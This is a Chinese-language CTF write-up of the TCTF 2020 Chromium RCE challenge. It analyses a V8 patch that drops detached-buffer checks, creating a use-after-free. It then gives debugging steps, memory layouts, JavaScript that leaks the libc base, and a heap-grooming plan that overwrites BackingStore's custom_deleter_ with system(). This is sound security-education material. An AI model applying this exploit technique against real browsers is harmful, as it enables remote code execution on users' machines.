TCTF-2020-Chromium-RCE

题目描述

Enviroment: Ubuntu18.04
It’s v8, but it’s not a typical v8, it’s CTF v8! Please enjoy pwning this d8
Update: If you want to build one for debugging, please

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

patch分析

删去了对于是否是Attached状态的检查,默认都是Attached。这样就能读写已经被释放的chunk了。

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast(target);

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast(typedArray);

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)

patch中删去了import--allow-native-syntax的支持。这样%DebugPrint%SystemBreak都不能用了,但%ArrayBufferDetach还能用,并且不需要加--allow-native-syntax参数。

--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
   const Runtime::Function* function =
       Runtime::FunctionForName(name->raw_data(), name->length());

+  // Only %ArrayBufferDetach allowed
+  if (function->function_id != Runtime::kArrayBufferDetach) {
+    return factory()->NewUndefinedLiteral(kNoSourcePosition);
+  }
+
   // Be more permissive when fuzzing. Intrinsics are not supported.
   if (FLAG_fuzzing) {
     return NewV8RuntimeFunctionForFuzzing(function, args, pos);

为了方便调试,修改了patch,保留了--allow-native-syntax的支持

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast(target);

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast(typedArray);

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local global_template = CreateGlobalTemplate(isolate);
   Local context =
-      Context::New(isolate, nullptr, global_template, global_object);
+      Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+                   v8::MaybeLocal());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal();
   InitializeModuleEmbedderData(context);
@@ -2285,9 +2282,9 @@ Local Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local context = Context::New(isolate, nullptr, global_template);
+  Local context = Context::New(isolate, nullptr,
+                                        ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);

调试环境搭建

在已有的v8源码文件夹内
(记得gclient sync,不然v8gen会报错)

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

然后起一个attach.sh,而后用gdb -x attach.sh

file /path/to/v8/out.gn/x64.debug/d8
set args --allow-natives-syntax exp.js
set follow-fork-mode parent

无SystemBreak调试

如果不自己编译源码,因为没给%SystemBreak(),可以在js中加入数学运算Math.cosh(1);,然后gdb在运算处下断点b v8::base::ieee754::cosh,当执行到cosh时,给malloccalloc下断点即可。
例如

function break_point(){
    Math.cosh(1);
}
break_point();
var arr1 = new ArrayBuffer(48);
break_point();

利用

常规的利用是通过UAF,利用tcache dup来改写free hook块为system。这个可参见https://www.anquanke.com/post/id/209401#h2-0

此处用的是PwnThyBytes的思路,通过改写BackingStore中的custom_deleter_来执行system。

JSArray结构

例如有一个var a = [1,2,3];的JSArray,v8通过称为Map/Shape的内部类来管理它。


但是array中的每个元素都是存储在Elements Backing Store中。
Backing Store只保存每个元素的value。

因此当JSArray持有对BackingStore引用时,它处于Attached状态。当JSArray失去对BackingStore引用时,它处于Detached状态。

ArrayBuffer(JSArrayBufferd)的View方式

An ArrayBuffer is more than just a simple array. It contains raw binary data. This is very useful for direct memory manipulation and conserving space. When you create a normal array, you won't get a proper set of contiguous memory in many cases since arrays can contain any combination of different kinds of objects With an ArrayBuffer, you have the option of moving through that data on the byte level by using Views:
Typed Arrays (Uint8Array, Int16Array, Float32Array, etc.) interpret the ArrayBuffer as an indexed sequence of elements of a single type.
Instances of DataView let you access data as elements of several types (Uint8, Int16, Float32, etc.), at any byte offset inside an ArrayBuffer.

大意是,Typed Arrays是一片连续的内存,包含同类型元素。通过DataView的方式可以索引ArrayBuffer中的数据(可以以不同的数据类型,字节序读取数据)

v8::internal::JSArrayBuffer内存结构

Offset: 0x00 | Map Offset
Offset: 0x08 | Properties Offset
Offset: 0x10 | Elements Offset
Offset: 0x18 | Byte Length
Offset: 0x20 | Backing Store
Offset: 0x28 | Allocation Base
Offset: 0x30 | Allocation Length
Offset: 0x38 | Bit Field

其中存在的指针压缩,可参考https://v8.dev/blog/pointer-compression。
例如

DebugPrint: 0x230c080c4021: [JSArrayBuffer]
 - map: 0x230c08281189  [FastProperties]
 - prototype: 0x230c08246b99 
 - elements: 0x230c080406e9  [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555555724c70
 - byte_length: 48
 - detachable
 - properties: 0x230c080406e9  {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
0x230c08281189: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 56
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x230c0804030d 
 - prototype_validity cell: 0x230c081c0451 
 - instance descriptors (own) #0: 0x230c080401b5 
 - prototype: 0x230c08246b99 
 - constructor: 0x230c08246ac9 
 - dependent code: 0x230c080401ed 
 - construction counter: 0

 
 

调试的时候发现,DebugPrint出的JSArrayBuffer地址比内存中的布局地址大0xd个字节。

即此处0x230c080c4021-0xd=0x230c080c4014

pwndbg> telescope 0x230c080c4021-0xd
00:0000│   0x230c080c4014 ◂— 0x0
01:0008│   0x230c080c401c ◂— 0x828118900000000
02:0010│   0x230c080c4024 ◂— 0x80406e9080406e9
03:0018│   0x230c080c402c ◂— 0x30 /* '0' */
04:0020│   0x230c080c4034 —▸ 0x555555724c70 ◂— 0x0  // back store
05:0028│   0x230c080c403c —▸ 0x5555556981b0 ◂— 0x0  // Allocation Base
06:0030│   0x230c080c4044 ◂— 0x2
07:0038│   0x230c080c404c ◂— 0x0

back store的地址为0x555555724c70,可知back store的chunk大小为0x40,内容大小为0x30

pwndbg> heap 0x555555724c70-0x10
Allocated chunk | PREV_INUSE
Addr: 0x555555724c60
Size: 0x41

arrayBuffer(SIZE)创建的时候,还会申请如下大小的内存

  • calloc(SIZE) for the Data buffer
  • malloc(48) for the BackingStore
  • malloc(32) for the shared_ptr
  • malloc(40) for the ArrayBufferExtension
    Detach一个array的时候(即%ArrayBufferDetach),前三个chunks(Data buffer)会被释放

泄露libc

通过UAF残留的bk和fk

.set()方法可以将undetached buffer中的内容复制到新buffer,从而获取(泄露)undetached buffer中的残留。

var a = new ArrayBuffer(8 * 1000);
var a_view1 = new Uint8Array(a);
var a_view2 = new BigUint64Array(a);

var b = new ArrayBuffer(8 * 1000);
var b_view1 = new Uint8Array(b);
var b_view2 = new BigUint64Array(b);

%ArrayBufferDetach(a);

b_view1.set(a_view1);

console.log('[*] leak = 0x'+b_view2[1].toString(16));

libc_base=b_view2[1]-0x3ebca0n;

控制程序流

BackingStore的构造函数

  BackingStore(void* buffer_start, size_t byte_length, size_t byte_capacity,
               SharedFlag shared, bool is_wasm_memory, bool free_on_destruct,
               bool has_guard_regions, bool custom_deleter, bool empty_deleter)
      : buffer_start_(buffer_start),
        byte_length_(byte_length),
        byte_capacity_(byte_capacity),
        is_shared_(shared == SharedFlag::kShared),
        is_wasm_memory_(is_wasm_memory),
        holds_shared_ptr_to_allocator_(false),
        free_on_destruct_(free_on_destruct),
        has_guard_regions_(has_guard_regions),
        globally_registered_(false),
        custom_deleter_(custom_deleter),
        empty_deleter_(empty_deleter) {}

其中有custom_deleter_变量
检查custom_deleter_是否存在,然后通过调用callback,参数为buffer中的内容。
backing-store.cc中custom_deleter_

  if (custom_deleter_) {
    DCHECK(free_on_destruct_);
    TRACE_BS("BS:custome deleter bs=%p mem=%p (length=%zu, capacity=%zu)\n",
             this, buffer_start_, byte_length(), byte_capacity_);
    type_specific_data_.deleter.callback(buffer_start_, byte_length_,
                                         type_specific_data_.deleter.data);
    Clear();
    return;
  }

通过伪造custom_deleter_为system,就可以执行system,其参数就是arrayBuffer中的内容了。
查看backing store内存布局

pwndbg> tele 0x555555724930-0x10 10
00:0000│   0x555555724920 ◂— 0x0
01:0008│   0x555555724928 ◂— 0x41 // chunk size
02:0010│   0x555555724930 —▸ 0x555555724970  // buffer start
03:0018│   0x555555724938 ◂— 0x30   //len
... ↓  // capacity (0x30)
05:0028│   0x555555724948 —▸ 0x7fffffffd750 —▸ 0x555555659b60 —▸ 0x55555560dad0 ◂— push   rbp // deleter_
06:0030│   0x555555724950 ◂— 0x5d203d3d3d3d3d3d ('====== ]')
07:0038│   0x555555724958 ◂— 0x3e293563316208 // flags
08:0040│   0x555555724960 —▸ 0x555555724968 ◂— 0x41 /* 'A' */

为了控制BackingStore结构体,

  • 创建大小48的ArrayBuffer并释放,此时有3个chunks被free(分别为48字节的content块,32字节的shared_ptr块,48字节的BackStore块)
  • 创建32字节大小的ArrayBuffer(此时会使用之前释放的32字节的shared_ptr块,48字节的BackStore块)
  • 再创建一个大的ArrayBuffer(大小不是48字节即可),这样新的ArrayBuffer中BackStore为第一次ArrayBuffer中的content块,而后使用.set()改写第一次ArrayBuffer中的content为另外布置好的ArrayBuffer(即再创建一个ArrayBuffer,其内容为伪造的BackStore)

此时detach大的ArrayBuffer即可触发system,大ArrayBuffer的内容为执行的命令。

reference

  • https://fineas.github.io/FeDEX/post/chromium_rce.html
  • https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays
  • https://hxp.io/blog/74/0CTF-2020-writeups/#chromium-rce

你可能感兴趣的:(TCTF-2020-Chromium-RCE)